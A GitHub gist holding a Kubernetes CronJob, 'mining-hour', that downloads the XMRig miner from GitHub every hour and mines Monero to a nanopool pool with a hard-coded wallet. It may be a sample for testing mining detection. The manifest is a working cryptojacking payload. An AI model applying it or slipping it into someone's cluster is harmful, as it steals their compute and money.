Skip to content

Instantly share code, notes, and snippets.

@pabloopez
Created February 12, 2024 15:18
Show Gist options
  • Select an option

  • Save pabloopez/9a33cc25d96f6977f05644daff4a93e5 to your computer and use it in GitHub Desktop.

Select an option

Save pabloopez/9a33cc25d96f6977f05644daff4a93e5 to your computer and use it in GitHub Desktop.
apiVersion: batch/v1
kind: CronJob
metadata:
name: mining-hour
spec:
schedule: "0 * * * *"
jobTemplate:
spec:
template:
spec:
containers:
- name: mining-hour
image: busybox:1.28
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- cd /tmp; wget -O file.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.16.4/xmrig-6.16.4-linux-static-x64.tar.gz; tar -xvf file.tar.gz; cd xmrig-6.16.4; ./xmrig --donate-level 100 -o xmr-us-east1.nanopool.org:14433 -k -u 422skia35WvF9mVq9Z9oCMRtoEunYQ5kHPvRqpH1rGCv1BzD5dUY4cD8wiCMp4KQEYLAN1BuawbUEJE99SNrTv9N9gf2TWC --tls --coin monero; pkill xmrig; sleep 3600
restartPolicy: OnFailure
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment